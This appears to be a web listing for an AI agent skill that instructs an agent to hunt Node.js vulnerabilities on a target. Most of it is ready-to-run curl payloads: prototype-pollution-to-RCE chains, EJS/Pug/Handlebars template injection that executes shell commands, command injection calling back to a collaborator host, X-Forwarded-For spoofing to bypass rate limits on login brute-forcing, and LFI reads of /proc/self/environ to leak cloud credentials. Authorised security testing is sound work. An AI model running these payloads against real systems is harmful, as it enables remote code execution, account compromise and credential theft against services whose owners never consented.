Hunt Node.js specific vulnerabilities — Prototype Pollution → RCE chains (lodash/merge/assign), Express trust proxy misconfiguration, child_process/eval injection, template engine SSTI (EJS/Pug/Handlebars), path traversal in file servers, require() injection, environment variable exfil via /proc/self/environ. Use when target runs Node.js/Express/Fastify/NestJS/Koa.
92%
Does it follow best practices?
Run evals on this skill
Adds up to 20 points to the overall score
Critical
Do not install without reviewing
Prototype Pollution reaching a sink in Node.js backend = Critical RCE.
Highest-value chains:
__proto__ injection via lodash.merge / Object.assign → polluted prototype reaches child_process.exec or vm.runInNewContext sinkapp.set('trust proxy', true) without validation → attacker sets X-Forwarded-For to bypass IP allowlists or rate limits{{= process.mainModule.require('child_process').execSync('id') }}child_process injection — user input interpolated into shell command string → OS command injectionrequire() path traversal — attacker-controlled module path → load arbitrary file as JSX-Powered-By: Express Confirms Express.js
Node.js in error messages Runtime detected
package.json exposed Dependency list + versions
/proc/self/environ accessible Environment variable exfil
Error stack traces with .js paths Node.js confirmed
__proto__ in JSON accepted Prototype pollution candidate# Confirm Node.js/Express
curl -sI https://$TARGET/ | grep -i "x-powered-by\|nodejs\|express"
# Check for package.json / node_modules exposure
curl -s "https://$TARGET/package.json"
curl -s "https://$TARGET/package-lock.json"
curl -s "https://$TARGET/node_modules/.package-lock.json"
# Error-based version detection
curl -s "https://$TARGET/nonexistent-path-xyz" | grep -i "node\|express\|cannot GET"# JSON body injection — test if __proto__ is accepted
curl -s -X POST https://$TARGET/api/merge \
-H "Content-Type: application/json" \
-d '{"__proto__": {"polluted": "yes"}}'
# Constructor prototype
curl -s -X POST https://$TARGET/api/settings \
-H "Content-Type: application/json" \
-d '{"constructor": {"prototype": {"isAdmin": true}}}'
# URL query param injection (qs library)
curl -s "https://$TARGET/api/search?__proto__[polluted]=yes&query=test"
curl -s "https://$TARGET/api/data?constructor[prototype][admin]=1"
# Confirm pollution: does a subsequent request reflect the polluted key?
curl -s "https://$TARGET/api/me" | grep -i "polluted\|isAdmin\|admin"# If pollution is confirmed, attempt to reach dangerous sinks
# Sink 1: child_process via options.shell pollution
curl -s -X POST https://$TARGET/api/update \
-H "Content-Type: application/json" \
-d '{
"__proto__": {
"shell": "node",
"NODE_OPTIONS": "--require /proc/self/fd/0",
"env": {"NODE_OPTIONS": "--inspect=COLLAB_HOST"}
}
}'
# Sink 2: lodash template pollution (CVE-2021-23337)
curl -s -X POST https://$TARGET/api/render \
-H "Content-Type: application/json" \
-d '{"__proto__": {"sourceURL": "\nreturn process.mainModule.require(\"child_process\").execSync(\"id\").toString()//"}}'
# Sink 3: ejs template options pollution
# If EJS is used for rendering, pollute the `opts.escapeXML` or `opts.outputFunctionName`
curl -s -X POST https://$TARGET/api/template \
-H "Content-Type: application/json" \
-d '{"__proto__": {"outputFunctionName": "x;process.mainModule.require(\"child_process\").execSync(\"curl COLLAB_HOST/pp-rce\");x"}}'
# OOB confirmation — check Interactsh for callback# If Express has trust proxy enabled, X-Forwarded-For is trusted
# Test: does spoofed IP bypass IP-based rate limiting or allowlist?
# Spoof IP to 127.0.0.1 (localhost bypass)
curl -s -X POST https://$TARGET/api/admin/action \
-H "X-Forwarded-For: 127.0.0.1" \
-H "Content-Type: application/json" \
-d '{"action": "test"}'
# Spoof to internal IP range
curl -s -X POST https://$TARGET/api/internal \
-H "X-Forwarded-For: 10.0.0.1" \
-H "X-Real-IP: 10.0.0.1"
# Rate limit bypass via rotating fake IPs
for i in $(seq 1 50); do
curl -s https://$TARGET/api/login \
-H "X-Forwarded-For: 1.2.3.$i" \
-d '{"email":"admin@test.com","password":"wrong"}' \
-o /dev/null -w "$i: %{http_code}\n"
done# EJS SSTI — if user input reaches EJS template context
# Test basic: <%= 7*7 %> should return 49
curl -s -X POST https://$TARGET/api/render \
-H "Content-Type: application/json" \
-d '{"template": "<%= 7*7 %>"}'
# EJS RCE payload
curl -s -X POST https://$TARGET/api/render \
-H "Content-Type: application/json" \
-d '{"template": "<%= process.mainModule.require(\"child_process\").execSync(\"id\").toString() %>"}'
# Pug SSTI
curl -s -X POST https://$TARGET/api/render \
-H "Content-Type: application/json" \
-d '{"template": "- var x = root.process\n= x.mainModule.require(\"child_process\").execSync(\"id\")"}'
# Handlebars — prototype pollution via template
curl -s -X POST https://$TARGET/api/render \
-H "Content-Type: application/json" \
-d '{"template": "{{#with \"s\" as |string|}}{{#with \"e\"}}{{#with split as |conslist|}}{{this.pop}}{{this.push (lookup string.sub \"constructor\")}}{{this.pop}}{{#with string.split as |codelist|}}{{this.pop}}{{this.push \"return process.mainModule.require(childprocess).execSync(id)\"}}{{this.pop}}{{#each conslist}}{{#with (string.sub.apply 0 codelist)}}{{this}}{{/with}}{{/each}}{{/with}}{{/with}}{{/with}}{{/with}}"}'# Look for endpoints that run shell commands with user input
# Signals: /api/convert, /api/exec, /api/ping, /api/scan
# Basic injection test
curl -s "https://$TARGET/api/ping?host=127.0.0.1;id"
curl -s "https://$TARGET/api/convert?file=test.pdf;curl+COLLAB_HOST/ci"
curl -s -X POST https://$TARGET/api/exec \
-H "Content-Type: application/json" \
-d '{"command": "ls", "args": ["&&", "curl", "COLLAB_HOST/ci"]}'
# OOB via DNS
curl -s "https://$TARGET/api/dns?host=\$(curl+COLLAB_HOST/dns-ci).example.com"# If LFI exists on Node.js app, /proc/self/environ leaks env vars
curl -s "https://$TARGET/api/file?path=/proc/self/environ"
curl -s "https://$TARGET/api/read?file=../../../../proc/self/environ"
# Also check:
curl -s "https://$TARGET/api/file?path=/proc/self/cmdline" # full command line
curl -s "https://$TARGET/api/file?path=/proc/self/cwd" # working directory| Node.js finding | Chain to | Impact |
|---|---|---|
| Prototype pollution confirmed | Find RCE sink (child_process, eval) | Critical RCE |
| Express trust proxy | Bypass IP allowlist / rate limit | Auth bypass / DoS bypass |
| SSTI in template engine | OS command execution | Critical RCE |
| child_process injection | id && curl COLLAB_HOST | Critical RCE |
| /proc/self/environ via LFI | AWS_ACCESS_KEY_ID leaked | Cloud compromise |
✅ Prototype pollution: key appears in subsequent API responses without being sent
✅ RCE chain: OOB callback received OR id output in response
✅ Trust proxy: spoofed IP accepted, bypasses rate limit or allowlist
Severity:
elementalsouls/Claude-BugHunter
9269278
If you maintain this skill, you can claim it as your own. Once claimed, you can manage eval scenarios, bundle related skills, attach documentation or rules, and ensure cross-agent compatibility.